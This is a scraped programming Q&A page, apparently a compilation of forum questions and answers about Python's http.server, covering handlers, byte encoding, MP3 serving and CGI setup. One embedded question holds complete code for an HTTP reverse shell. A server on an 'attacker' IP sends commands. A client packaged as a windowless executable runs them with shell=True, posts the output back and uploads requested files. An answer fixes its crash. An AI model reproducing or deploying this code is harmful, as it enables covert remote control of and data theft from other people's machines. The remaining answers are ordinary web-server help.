I'm getting file not found error on executing python server file. Python version is 3.7.5. To produce the same output copy the shared code and run on local system. Run the python file using python webserver.py in terminal then in browser type localhost:8080/hello to get error.
What I want is to dynamically render html output when url path matches with /hello. I'm not using additional files or any declarations in any other file in same directory. Code used in server file is as below:
from http.server import BaseHTTPRequestHandler,SimpleHTTPRequestHandler, HTTPServer
class webhandler(SimpleHTTPRequestHandler):
def do_Get(self):
try:
if self.path.endswith('/hello'):
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
output = ''
output +=f"<html><body>Hello!</body></html>"
self.wfile.write(bytes(output,"utf8"))
return
except IOError:
self.send_error(404,"File not found %s" % self.path)
def main():
try:
port = 8080
server = HTTPServer(("",port),webhandler)
print("Web server running on port %s" % port)
server.serve_forever()
except KeyboardInterrupt:
print("^c entered Stopping webserver...")
server.socket.close()
if __name__=='__main__':
main()
Related
I am fairly new to programming with python, and was able to get the code to work when running the script from the interpreter. However, when i use pyinstaller to create a windowless single file executable it crashes when i send the client a simple command such as dir. The server side runs on a Kali VM and the client runs from a Windows VM.
I was hoping someone might be able to see something i am missing that would cause the client to crash when run from an exe but works fine from the interpreter.
Server Code:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os, cgi
hostname = "10.10.10.100" #Host(attacker) IP address
port = 80 #Listening port number
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
command = input("Shell> ") #get command input
self.send_response(200) #send OK message
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode()) #send command to client
def do_POST(self):
if self.path == "/store": #Check for /store in URL signalling a file transfer
try:
ctype, pdict = cgi.parse_header(self.headers["content-type"])
if ctype == "multipart/form-data":
fs = cgi.FieldStorage(fp = self.rfile, headers = self.headers, environ ={"REQUEST_METHOD":"POST"})
else:
print("[-] Unexpected POST request")
fs_up = fs["file"] #Here file is the key to hold the actual file
with open("/root/Desktop/1.txt", "wb") as tfile: #Create new file and write contents into this file
tfile.write(fs_up.file.read())
self.send_response(200)
self.end_headers()
except Exception as e:
print(e)
return # once we store the received file in our file holder, we exit the function
self.send_response(200)
self.end_headers()
length = int(self.headers["Content-Length"]) #Define the length which means how many bytes the HTTP POST data contains
postVar = self.rfile.read(length) # Read then print the posted data
print(postVar.decode())
if __name__ == "__main__":
server_class = HTTPServer
myServer = server_class((hostname, port), MyHandler)
try:
myServer.serve_forever()
except KeyboardInterrupt: #if we got ctrl+c we will Interrupt and stop the server
print("[!] Server terminated")
myServer.server_close()
Client Code:
import requests #requests library
import subprocess #system operations
import time #time library
import os
while True:
req = requests.get("http://10.10.10.100") # This sends get request to the Attacker
command = req.text # Received text will be saved in command variable
if "terminate" in command:
break #terminate connection
elif "grab" in command:
grab,path = command.split("*")
if os.path.exists(path): #check if file exists
url = "http://10.10.10.100/store" #Append /store in the URL to signal file transfer
files = {"file": open(path, "rb")} # Add a dictionary key where file will be stored
r = requests.post(url, files=files) # Send the file
else:
post_response = requests.post(url="http://10.10.10.100", data="[-] File not found")
else: #execute given command
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
post_response = requests.post(url="http://10.10.10.100", data=CMD.stdout.read()) # POST the result
post_response = requests.post(url="http://10.10.10.100", data=CMD.stderr.read()) # POST the error
time.sleep(3) # create a pause between commands
Finally found a post pointing me in the correct direction. The following line needed to be change from:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
To:
CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
So I'm just trying to get a GET request to go through from a node.js app to a python app and for some reason the code works when I'm running it in a Jupyter Notebook but not otherwise.
Here's the Python code.
from http.server import BaseHTTPRequestHandler , HTTPServer
class HTTPServer_RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
print('got a request')
server_address = ('localhost', 9000)
httpd = HTTPServer(server_address, HTTPServer_RequestHandler)
print('running server...')
httpd.serve_forever()
and here's the node code
var request = require('request');
request.get({
uri: 'http://localhost:9000',
type:'GET '
}, function(res,err,body){
console.log(res)
console.log(err)
console.log(body)
});
This of course prints an error on the node side, but the interesting thing is that on Jupyter Notebook I get "running server..." output and I also get the "got a request" whenever I run the node, however when I run Python normally I don't get any output at all.
I have never setup a server (let alone a python server) before and i am a bit lost. How do i utilize the following code? I have tried to put in in the cgi bin directory but that didnt work. It returned an internal server error. have a look at this here
#!/usr/bin/env python
#
# Funf: Open Sensing Framework
# Copyright (C) 2010-2011 Nadav Aharony, Wei Pan, Alex Pentland.
# Acknowledgments: Alan Gardner
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from SocketServer import ThreadingMixIn
import sys
import cgi
import urlparse
import os.path
import shutil
import time
server_dir = os.path.dirname(__file__)
config_path = '/config'
config_file_path = os.path.join(server_dir, 'config.json')
upload_path = '/data'
upload_dir = os.path.join(server_dir, 'uploads')
def read_config():
config = None
try:
with open(config_file_path) as config_file:
config = config_file.read()
except IOError:
pass
return config
def backup_file(filepath):
shutil.move(filepath, filepath + '.' + str(int(time.time()*1000)) + '.bak')
def write_file(filename, file):
if not os.path.exists(upload_dir):
os.mkdir(upload_dir)
filepath = os.path.join(upload_dir, filename)
if os.path.exists(filepath):
backup_file(filepath)
with open(filepath, 'wb') as output_file:
while True:
chunk = file.read(1024)
if not chunk:
break
output_file.write(chunk)
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_url = urlparse.urlparse(self.path)
if parsed_url.path == config_path:
config = read_config()
if config:
self.send_response(200)
self.end_headers()
self.wfile.write(config)
else:
self.send_error(500)
elif parsed_url.path == upload_path:
self.send_error(405)
else:
self.send_error(404)
def do_POST(self):
parsed_url = urlparse.urlparse(self.path)
path = parsed_url.path
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
if path == upload_path:
if ctype=='multipart/form-data':
form = cgi.FieldStorage(self.rfile, self.headers, environ={'REQUEST_METHOD':'POST'})
try:
fileitem = form["uploadedfile"]
if fileitem.file:
try:
write_file(fileitem.filename, fileitem.file)
except Exception as e:
print e
self.send_error(500)
else:
self.send_response(200)
self.end_headers()
self.wfile.write("OK")
return
except KeyError:
pass
# Bad request
self.send_error(400)
elif parsed_url.path == config_path:
self.send_error(405)
else:
self.send_error(404)
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
if __name__ == '__main__':
if sys.argv[1:]:
port = int(sys.argv[1])
else:
port = 8000
server_address = ('', port)
httpd = ThreadedHTTPServer(server_address, RequestHandler)
sa = httpd.socket.getsockname()
print "Serving HTTP on", sa[0], "port", sa[1], "..."
print 'use <Ctrl-C> to stop'
httpd.serve_forever()
If you want to run a CGI on something like Apache (as opposed via custom server code like you pasted above), you can create a .py file like this in a (.py) CGI-enabled directory.
#!/usr/bin/env python
print "Content-Type: text/html"
print
print 'Hello World'
If you're using Apache, here's some info on how to set up CGI executables.
edit: (As Adrien P. says, the Python script should be made executable.)
You do not have to place it into a cgi-bin directory.
If you are running windows, you can launch Idle from your start menu under the python entry. Paste the code in, and hit F5 to run the code.
If you are running *nix, look to Adrien's answer for the commands and copy what is output when you run ./your_script.py.
Are you attempting to program a website in Python? This is code to create a web server, not site, so navigating to the program in a web browser will yield no results.
$ chmod +x your_script.py
$ ./your_script.py
A quick look a your code: it launch a simple http server who listen on port 8000
Heroku is a good place to host and python scripts.
Pre-req
pythonscripts.py
procfile
requirements.txt
and After add, commit and push the scripts to heroku app. Just run the following command on terminal to run the scripts.
heroku run python your_scripts.py
More if you want to run this scripts on a schedule timing. then heroku provides lots of adds-on. just search it on heroku
I'm playing a little with Python 3.2.2 and want to write a simple web server to access some data remotely. This data will be generated by Python so I don't want to use the SimpleHTTPRequestHandler as it's a file server, but a handler of my own.
I copied some example from the internet but I'm stuck because the response outputstream refuses to write the body content.
This is my code:
import http.server
import socketserver
PORT = 8000
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
print(self.wfile)
self.wfile.write("<html><head><title>Title goes here.</title></head>")
self.wfile.write("<body><p>This is a test.</p>")
# If someone went to "http://something.somewhere.net/foo/bar/",
# then s.path equals "/foo/bar/".
self.wfile.write("<p>You accessed path: %s</p>" % self.path)
self.wfile.write("</body></html>")
self.wfile.close()
try:
server = http.server.HTTPServer(('localhost', PORT), MyHandler)
print('Started http server')
server.serve_forever()
except KeyboardInterrupt:
print('^C received, shutting down server')
server.socket.close()
What should be a correct code for writing the response body?
Thanks a lot.
Edit:
The error is:
...
File "server.py", line 16, in do_GET
self.wfile.write("<html><head><title>Title goes here.</title></head>")
File "C:\Python32\lib\socket.py", line 297, in write
return self._sock.send(b)
TypeError: 'str' does not support the buffer interface
In Python3 string is a different type than that in Python 2.x. Cast it into bytes using either
self.wfile.write(bytes("<html><head><title>Title goes here.</title></head>/html>","utf-8"))
or
self.wfile.write("<html><head><title>Title goes here.</title></head></html>".encode("utf-8"))
For Python 3, prefix the string literals with a b:
self.wfile.write(b"<foo>bar</foo>")
based on your code #comments you're probably looking for self.headers.getheaders('referer'), ie:
if 'http://www.icamefromthissite.com/' in self.headers.getheaders('referer'):
do something
Just use this when using Python 3.X
self.wfile.write(bytes("<body><p>This is a test.</p>", "utf-8"))
I am currently trying to serve MP3 Files using Python. The problem is that I can only play the MP3 once. Afterwards media controls stop responding and I need to reload entirely the page to be able to listen again to the MP3. (tested in Chrome)
Problem: running the script below, and entering http://127.0.0.1/test.mp3 on my browser will return an MP3 files which can be replayed only if I refresh the page
Notes:
Saving the page as HTML and loading it directly with Chrome (without Python server) would make the problem disappear.
Serving the file with Apache would solve the problem, but this is overkilled: I want to make the script very easy to use and not require installing Apache.
Here is the code I use:
import string
import os
import urllib
import socket
# Setup web server import string,cgi,time
import string,cgi,time
from os import curdir, sep
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import hashlib
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
try:
# serve mp3 files
if self.path.endswith(".mp3"):
print curdir + sep + self.path
f = open(curdir + sep + self.path, 'rb')
st = os.fstat( f.fileno() )
length = st.st_size
data = f.read()
md5 = hashlib.md5()
md5.update(data)
md5_key = self.headers.getheader('If-None-Match')
if md5_key:
if md5_key[1:-1] == md5.hexdigest():
self.send_response(304)
self.send_header('ETag', '"{0}"'.format(md5.hexdigest()))
self.send_header('Keep-Alive', 'timeout=5, max=100')
self.end_headers()
return
self.send_response(200)
self.send_header('Content-type', 'audio/mpeg')
self.send_header('Content-Length', length )
self.send_header('ETag', '"{0}"'.format(md5.hexdigest()))
self.send_header('Accept-Ranges', 'bytes')
self.send_header('Last-Modified', time.strftime("%a %d %b %Y %H:%M:%S GMT",time.localtime(os.path.getmtime('test.mp3'))))
self.end_headers()
self.wfile.write(data)
f.close()
return
except IOError:
self.send_error(404,'File Not Found: %s' % self.path)
from SocketServer import ThreadingMixIn
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
if __name__ == "__main__":
try:
server = ThreadedHTTPServer(('', 80), MyHandler)
print 'started httpserver...'
server.serve_forever()
except KeyboardInterrupt:
print '^C received, shutting down server'
server.socket.close()
BaseServer is single-threaded, you should use either ForkingMixIn or ThreadingMixIn to support multiple connections.
For example replace line:
server = HTTPServer(('', 80), MyHandler)
with
from SocketServer import ThreadingMixIn
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
server = ThreadedHTTPServer(('', 80), MyHandler)
EDIT: I wrote much of this before I realized Mapadd only planned to use this in a lab. WSGI probably is not required for his use case.
If you are willing to run this as a wsgi app (which I would recommend over vanilla CGI for any real scalability), you can use the script I have included below.
I took the liberty of modifying your source... this works with the assumptions above.. btw, you should spend some time checking that your html is reasonably compliant... this will help ensure that you get better cross-browser compatibility... the original didn't have <head> or <body> tags... mine (below) is strictly prototype html, and could be improved.
To run this, you just run the python executable in your shell and surf to the ipaddress of the machine on 8080. If you were doing this for a production website, we should be using lighttpd or apache for serving files, but since this is simply for lab use, the embedded wsgi reference server should be fine. Substitute the WSGIServer line at the bottom of the file if you want to run in apache or lighttpd.
Save as mp3.py
from webob import Request
import re
import os
import sys
####
#### Run with:
#### twistd -n web --port 8080 --wsgi mp3.mp3_app
_MP3DIV = """<div id="musicHere"></div>"""
_MP3EMBED = """<embed src="mp3/" loop="true" autoplay="false" width="145" height="60"></embed>"""
_HTML = '''<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head></head><body> Hello %s %s</body></html> ''' % (_MP3DIV, _MP3EMBED)
def mp3_html(environ, start_response):
"""This function will be mounted on "/" and refer the browser to the mp3 serving URL."""
start_response('200 OK', [('Content-Type', 'text/html')])
return [_HTML]
def mp3_serve(environ, start_response):
"""Serve the MP3, one chunk at a time with a generator"""
file_path = "/file/path/to/test.mp3"
mimetype = "application/x-mplayer2"
size = os.path.getsize(file_path)
headers = [
("Content-type", mimetype),
("Content-length", str(size)),
]
start_response("200 OK", headers)
return send_file(file_path, size)
def send_file(file_path, size):
BLOCK_SIZE = 4096
fh = open(file_path, 'r')
while True:
block = fh.read(BLOCK_SIZE)
if not block:
fh.close()
break
yield block
def _not_found(environ,start_response):
"""Called if no URL matches."""
start_response('404 NOT FOUND', [('Content-Type', 'text/plain')])
return ['Not Found']
def mp3_app(environ,start_response):
"""
The main WSGI application. Dispatch the current request to
the functions andd store the regular expression
captures in the WSGI environment as `mp3app.url_args` so that
the functions from above can access the url placeholders.
If nothing matches call the `not_found` function.
"""
# map urls to functions
urls = [
(r'^$', mp3_html),
(r'mp3/?$', mp3_serve),
]
path = environ.get('PATH_INFO', '').lstrip('/')
for regex, callback in urls:
match = re.search(regex, path)
if match is not None:
# assign http environment variables...
environ['mp3app.url_args'] = match.groups()
return callback(environ, start_response)
return _not_found(environ, start_response)
Run from the bash shell with: twistd -n web --port 8080 --wsgi mp3.mp3_app from the directory where you saved mp3.py (or just put mp3.py somewhere in $PYTHONPATH).
Now surf to the external ip (i.e. http://some.ip.local:8080/) and it will serve the mp3 directly.
I tried running your original app as it was posted, and could not get it to source the mp3, it barked at me with an error in linux...